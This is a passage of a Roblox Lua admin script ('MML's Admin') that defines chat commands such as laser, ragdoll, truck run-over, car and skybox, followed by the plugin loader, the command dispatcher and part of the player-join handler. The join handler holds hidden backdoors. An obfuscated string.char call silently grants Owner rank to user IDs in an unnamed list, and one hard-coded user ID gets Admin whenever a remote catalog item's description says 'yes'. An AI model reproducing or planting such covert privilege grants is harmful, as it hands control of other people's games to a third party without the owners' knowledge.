8297 local Players = STRING:Scan(Arguments[1], Speaker)
8298 for _,Player in pairs(Players) do
8299 if Player.Character and Player.Character:FindFirstChild("Torso") then
8300 local Pos = Player.Character.Torso.Position
8301 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8302 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8303 if Answer == "Ok" then
8304 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8305 end
8306 end
8307 end
8308 end};
8309
8310 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8311 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8312 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8313 if PlayersFrom and PlayersTo then
8314 for _,PlayerFrom in pairs(PlayersFrom) do
8315 for _,PlayerTo in pairs(PlayersTo) do
8316 if PlayerFrom.Character and PlayerTo.Character then
8317 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8318 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8319 wait(5)
8320 Laser:Destroy()
8321 end)() end
8322 end
8323 end
8324 end
8325 end
8326 end};
8327
8328 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8329 local Players = STRING:Scan(Arguments[1], Speaker)
8330 for _,Player in pairs(Players) do
8331 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8332 Player.Character.Humanoid:Destroy()
8333 end
8334 end
8335 end};
8336
8337 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8338 if Plugins then
8339 local List = {}
8340 for _,Module in pairs(Plugins:GetChildren()) do
8341 if Module:IsA("ModuleScript") then
8342 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8343 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8344 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8345 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8346 end
8347 end
8348 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8349 else
8350 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8351 end
8352 end};
8353
8354 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8355 local Players = STRING:Scan(Arguments[1], Speaker)
8356 for _,Player in pairs(Players) do
8357 GUI:DetachChat(Player)
8358 end
8359 end};
8360
8361 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8362 GUI:DetachChat(Speaker)
8363 end};
8364
8365 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8366 local Players = STRING:Scan(Arguments[1], Speaker)
8367 for _,Player in pairs(Players) do
8368 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8369 local Dead = false
8370
8371 Player.Character.Humanoid.WalkSpeed = 1
8372 local Torso = Player.Character.Torso
8373 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8374 Truck:BreakJoints()
8375 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8376 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8377 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8378 Truck.Touched:connect(function(Part)
8379 if Dead == false then
8380 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8381 if TouchPlayer == Player then
8382 Dead = true
8383 Player.Character:BreakJoints()
8384 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8385 end
8386 end
8387 end)
8388 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8389 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8390 Delay(5, function()
8391 Truck:Destroy()
8392 if Player.Character:FindFirstChild("Humanoid") then
8393 Player.Character.Humanoid.WalkSpeed = 16
8394 end
8395 end)
8396 end
8397 end
8398 end};
8399
8400 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8401 local Joke = REMOTE:DownloadJoke(Speaker)
8402 local Players = STRING:Scan(Arguments[1], Speaker)
8403 for _,Player in pairs(Players) do
8404 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8405 end
8406 end, Http = true};
8407
8408 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8409 local Joke = REMOTE:DownloadJoke(Speaker)
8410 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8411 end, Http = true};
8412
8413 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8414 local Players = STRING:Scan(Arguments[1], Speaker)
8415 for _,Player in pairs(Players) do
8416 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8417 CORE:InvisiblePlayer(Player)
8418 local DogContainer = Instance.new("Model", Player.Character)
8419 DogContainer.Name = "Doge"
8420 local Dog = CORE:Insert(257489726, DogContainer, true)
8421 Dog.Head.Transparency = 0.99
8422 Dog.Name = Player.Name
8423 Dog:MoveTo(Player.Character.Torso.Position)
8424 local Weld = Instance.new("Weld", Dog.Torso)
8425 Weld.Part0 = Player.Character.Torso
8426 Weld.Part1 = Dog.Torso
8427 Weld.C0 = CFrame.new(0,-0.4,0)
8428 for _,Obj in pairs(Dog:GetChildren()) do
8429 if Obj:IsA("BasePart") then
8430 Obj.CanCollide = false
8431 end
8432 end
8433
8434 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8435 end
8436 end
8437 end};
8438
8439 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8440 local Key = string.lower(string.sub(Arguments[1],1,1))
8441 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8442 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8443 end};
8444
8445 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8446 local Key = string.lower(string.sub(Arguments[1],1,1))
8447 KeyBinds[Speaker.UserId][Key] = nil
8448 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8449 end};
8450
8451 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8452 KeyBinds[Speaker.UserId] = {}
8453 GUI:SendHint(Speaker, "Unbinded all keys")
8454 end};
8455
8456 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8457 local Players = STRING:Scan(Arguments[1], Speaker)
8458 local Key = string.lower(string.sub(Arguments[2],1,1))
8459 for _,Player in pairs(Players) do
8460 KeyBinds[Player.UserId][Key] = Arguments[3]
8461 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8462 end
8463 end};
8464
8465 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8466 local Players = STRING:Scan(Arguments[1], Speaker)
8467 local Key = string.lower(string.sub(Arguments[2],1,1))
8468 for _,Player in pairs(Players) do
8469 KeyBinds[Player.UserId][Key] = nil
8470 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8471 end
8472 end};
8473
8474 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8475 local Players = STRING:Scan(Arguments[1], Speaker)
8476 for _,Player in pairs(Players) do
8477 KeyBinds[Player.UserId] = {}
8478 GUI:SendHint(Player, "Unbinded all keys")
8479 end
8480 end};
8481
8482 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8483 local Players = STRING:Scan(Arguments[1], Speaker)
8484 local Binds = {}
8485 for _,Player in pairs(Players) do
8486 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8487 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8488 end
8489 end
8490 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8491 end};
8492
8493 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8494 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8495 local Players = STRING:Scan(ChatSplit[1], Speaker)
8496 for _,Player in pairs(Players) do
8497 if Crowns[Player.UserId] then
8498 Crowns[Player.UserId]:Destroy()
8499 Crowns[Player.UserId] = nil
8500 wait()
8501 end
8502 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8503 end
8504 end};
8505
8506 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8507 local Players = STRING:Scan(Arguments[1], Speaker)
8508 for _,Player in pairs(Players) do
8509 if Crowns[Player.UserId] then
8510 Crowns[Player.UserId]:Destroy()
8511 Crowns[Player.UserId] = nil
8512 end
8513 end
8514 end};
8515
8516 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8517 local MeshList = {}
8518 for MeshName,Data in pairs(Meshes) do
8519 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8520 end
8521 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8522 end};
8523
8524 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8525 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8526 end};
8527
8528 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8529 local Players = STRING:Scan(Arguments[1], Speaker)
8530 for _,Player in pairs(Players) do
8531 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8532 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8533 Player:ClearCharacterAppearance()
8534 CORE:GivePackage(Player, 41851073)
8535 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8536 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8537 end
8538 end
8539 end};
8540
8541 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8542 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8543 local Players = STRING:Scan(Arguments[1], Speaker)
8544 for _,Player in pairs(Players) do
8545 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8546 local Car = CORE:Insert(10479801, Server.Workspace, true)
8547 local Body = Car["Motor (torque)Chassis"].Part
8548 Cars[Player.UserId] = Car
8549 Car:MakeJoints()
8550 Car.VehicleSeat.MaxSpeed = 50
8551 Car.VehicleSeat.TurnSpeed = 1.5
8552 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8553 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8554 Body.Color = GUI:GetColor(Arguments[2])
8555 else
8556 Body.BrickColor = GUI:GetNameColor(Player.Name)
8557 end
8558 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8559 if Part.Name ~= "Part" then
8560 Part.BrickColor = BrickColor.new("Really black")
8561 Part.Friction = 0.7
8562 end
8563 end
8564 local Light = Instance.new("SpotLight", Body)
8565 Light.Face = "Back"
8566 Light.Brightness = 5
8567 Light.Range = 20
8568 Light.Color = Color3.new(0,1,1)
8569 if Player.Character and Player.Character.Torso then
8570 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8571 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8572 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8573 Weld.Part0 = Car.VehicleSeat
8574 Weld.Part1 = Player.Character.Torso
8575 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8576 Delay(0.4, function()
8577 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8578 wait(0.1)
8579 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8580 end)
8581 end
8582 local SoundID = 147944604
8583 if RANK:GetRank(Player) == "Owner" then
8584 SoundID = 133313356
8585 Car.VehicleSeat.MaxSpeed = 80
8586 Body.Material = "DiamondPlate"
8587 Car.VehicleSeat.Torque = 11
8588 end
8589 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8590 Engine:Play()
8591 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8592 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8593 end if Engine then Engine:Stop() end end)()
8594 end
8595 end};
8596
8597 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8598 local Players = STRING:Scan(Arguments[1], Speaker)
8599 for _,Player in pairs(Players) do
8600 if Cars[Player.UserId] then
8601 Cars[Player.UserId]:Destroy()
8602 end
8603 end
8604 end};
8605
8606 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8607 for _,Car in pairs(Cars) do
8608 Car:Destroy()
8609 end
8610 Cars = {}
8611 end};
8612
8613 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8614 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8615 if #Trello.RequiredLists > 0 then
8616 print("Restarting Trello")
8617 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8618 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8619 REMOTE:TrelloCacheData(Lists)
8620 end
8621 end, Http = true};
8622
8623 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8624 local Operations = {}
8625 for _,ReplaceData in pairs(StringReplacements) do
8626 local Replacement = ReplaceData[1]
8627 if type(Replacement) == "table" then
8628 Replacement = ReplaceData[1][1]
8629 end
8630 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8631 end
8632 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8633 end};
8634
8635 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8636 GUI:SoundInfo(Speaker)
8637 end};
8638
8639 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8640 local Players = STRING:Scan(Arguments[1], Speaker)
8641 for _,Player in pairs(Players) do
8642 GUI:SoundInfo(Player)
8643 end
8644 end};
8645
8646 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8647 if tonumber(Arguments[1]) then
8648 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8649 end
8650 end};
8651
8652 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8653 local Types = {}
8654 for Type,_ in pairs(Assets.AccessoryTypes) do
8655 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8656 end
8657 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8658 end};
8659
8660 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8661 local Sky = Server.Lighting:FindFirstChild("Sky")
8662 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8663 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8664 local Face = nil
8665 local SkyID = string.lower(Arguments[1])
8666 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8667 if #Arguments == 2 and tonumber(Arguments[2]) then
8668 Face = Arguments[1]
8669 SkyID = Arguments[2]
8670 end
8671 if tonumber(SkyID) then
8672 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8673 if Face and Faces[Face] then
8674 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8675 else
8676 for _,Face in pairs(Faces) do
8677 Sky[Face] = "rbxassetid://"..ImageID
8678 end
8679 end
8680 else
8681 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8682 end
8683 end};
8684
8685 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8686 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8687 Obj:Destroy()
8688 end)
8689 end};
8690 --
8691}
8692
8693if Plugins then
8694 local PluginNum = 0
8695 for _,Module in pairs(Plugins:GetChildren()) do
8696 if Module:IsA("ModuleScript") then
8697 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8698 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8699 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8700 if Enabled.Value == true then
8701 PluginNum = PluginNum + 1
8702 local PluginExe = require(Module)
8703 for Var,Val in pairs(getfenv()) do
8704 getfenv(PluginExe)[Var] = Val
8705 end
8706 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8707 getfenv(PluginExe).script = Module
8708 getfenv(PluginExe).Script = Module
8709 getfenv(PluginExe).Version = Version
8710 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8711 if not Suc then
8712 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8713 else
8714 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8715 end
8716 end
8717 end
8718 end
8719end
8720
8721function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8722 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8723 GUI:SettingsGui(Speaker)
8724 return nil
8725 end
8726 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8727 local Prefix = Settings.Prefix
8728 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8729 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8730 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8731 if Speaker == nil then
8732 if FakeRank then
8733 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8734 FakeRank = "Owner"
8735 end
8736 else
8737 FakeRank = "Owner"
8738 end
8739 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8740 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8741 Speaker = {
8742 Name = FakePlayerName or "[ Server ]";
8743 Character = nil;
8744 userId = 1;
8745 PlayerGui = nil;
8746 Rank = FakeRank or "Owner";
8747 MakeSupremeOwner = MakeSupremeOwner;
8748 }
8749 end
8750 local Rank = RANK:GetRank(Speaker)
8751 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8752
8753 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8754 if NoPrefixNeeded then Prefix = "" end
8755 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8756
8757 for _,Message in pairs(Messages) do
8758 for Cmds,Data in pairs(Commands) do -- check all commands
8759 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8760
8761 if not MessageSplit then break end
8762
8763 local CommandSaid = false
8764 for _,Command in pairs(Cmds) do
8765 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8766 CommandSaid = true
8767 break
8768 end
8769 end
8770 if CommandSaid == true then -- command said?
8771 local ExecuteExcuse = ""
8772 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8773 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8774 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8775 end
8776 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8777 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8778 end
8779 else
8780 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8781 end
8782 if ExecuteExcuse == "" then
8783 if #MessageSplit - 1 < Data[3] then
8784 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8785 end
8786 end
8787 if ExecuteExcuse == "" then
8788 CORE:Log(CommandLogs, Speaker, Message)
8789 table.remove(MessageSplit, 1)
8790 coroutine.wrap(function() wait()
8791 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8792 if not DidExe then
8793 if CORE:NilPlayer(Speaker) then
8794 print("Error: "..Error)
8795 else
8796 CORE:HandleError(Error, Speaker)
8797 end
8798 end
8799 end)()
8800 coroutine.wrap(function() wait(0.05)
8801 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8802 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8803 ExeSound:Play()
8804 wait(3)
8805 ExeSound:Stop()
8806 ExeSound:Destroy()
8807 end
8808 end)()
8809 elseif type(Speaker) == "userdata" then
8810 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8811 end
8812 break
8813 end
8814 end
8815 end
8816 end
8817end
8818
8819function CORE:Start(Player) coroutine.wrap(function()
8820 wait(0.1)
8821 if Player then
8822 coroutine.wrap(function()
8823 repeat wait(1) until DataReady == true
8824 DataReady = false
8825 ypcall(function()
8826 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8827 for Num,Data in pairs(Players) do
8828 if Data.UserId == Player.UserId then -- ppl can change names
8829 table.remove(Players, Num)
8830 break
8831 end
8832 end
8833 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8834 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8835 end)
8836 DataReady = true
8837 end)()
8838
8839 if not IsStudio then Player:WaitForDataReady() end
8840 table.insert(CharacterCache, {Player.Name, Player.UserId})
8841 for Rank,PlayerNames in pairs(Settings.Ranks) do
8842 for Num,AdminName in pairs(PlayerNames) do
8843 if AdminName == Player.UserId then
8844 Settings.Ranks[Rank][Num] = Player.Name
8845 end
8846 end
8847 end
8848 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8849 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8850 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8851 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8852 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8853 if PlayerAdmin == false and Player.UserId > 0 then
8854 local Ran = nil
8855 coroutine.wrap(function() repeat
8856 Ran = ypcall(function()
8857 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8858 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8859 end)
8860 wait(1)
8861 until Ran == true end)()
8862 end
8863 if PlayerAdmin == false then
8864 if Player:IsInGroup(Settings.GroupID) then
8865 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8866 CORE:Kick(Player)
8867 for _,Person in pairs(Server.Players:GetPlayers()) do
8868 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8869 end
8870 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8871 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8872 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8873 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8874 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8875 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8876 end
8877 end
8878 end
8879 if PlayerAdmin == false then
8880 if Player.UserId == 38882008 then
8881 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8882 table.insert(Settings.Ranks["Admin"], Player.Name)
8883 end
8884 end
8885 end
8886 if PlayerAdmin == false then
8887 for _,GID in pairs(Settings.BannedGroupIDs) do
8888 if Player:IsInGroup(GID) then
8889 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8890 break
8891 end
8892 end
8893 end
8894
8895 Player.Chatted:connect(function(Message) if Message ~= "" then
8896 CORE:Chatted(Message, Player)
8897 end end)
8898
8899 Player.Chatted:connect(function(Message) if Message ~= "" then
8900 CORE:Log(ChatLogs, Player, Message)
8901 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8902 end end)
8903
8904 for _,Name in pairs(Settings.Ranks.Banned) do
8905 if Player.Name == Name then
